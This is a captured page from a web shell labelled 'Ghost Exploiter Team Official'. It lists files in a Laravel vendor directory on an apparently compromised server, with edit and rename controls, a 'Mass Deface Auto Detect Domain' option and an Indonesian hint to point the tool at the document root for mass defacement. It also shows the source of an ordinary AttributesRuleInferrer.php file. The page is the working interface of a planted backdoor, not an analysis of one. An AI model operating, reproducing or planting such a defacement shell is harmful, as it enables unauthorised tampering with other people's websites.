Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
spatie
/
laravel-data
/
src
/
RuleInferrers
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
AttributesRuleInferrer.php
1.297KB
edt
ren
BuiltInTypesRuleInferre
...
1.533KB
edt
ren
NullableRuleInferrer.php
0.626KB
edt
ren
RequiredRuleInferrer.php
1.432KB
edt
ren
RuleInferrer.php
0.352KB
edt
ren
SometimesRuleInferrer.php
0.63KB
edt
ren
<?php namespace Spatie\LaravelData\RuleInferrers; use Spatie\LaravelData\Attributes\Validation\Present; use Spatie\LaravelData\Attributes\Validation\Sometimes; use Spatie\LaravelData\Support\DataProperty; use Spatie\LaravelData\Support\Validation\PropertyRules; use Spatie\LaravelData\Support\Validation\RequiringRule; use Spatie\LaravelData\Support\Validation\RuleNormalizer; use Spatie\LaravelData\Support\Validation\ValidationContext; use Spatie\LaravelData\Support\Validation\ValidationRule; class AttributesRuleInferrer implements RuleInferrer { public function __construct(protected RuleNormalizer $rulesDenormalizer) { } public function handle( DataProperty $property, PropertyRules $rules, ValidationContext $context, ): PropertyRules { foreach ($property->attributes->all(ValidationRule::class) as $rule) { if ($rule instanceof Present && $rules->hasType(RequiringRule::class)) { $rules->removeType(RequiringRule::class); } if ($rule instanceof RequiringRule && $rules->hasType(Sometimes::class)) { $rules->removeType(Sometimes::class); } $rules->add( ...$this->rulesDenormalizer->execute($rule) ); } return $rules; } }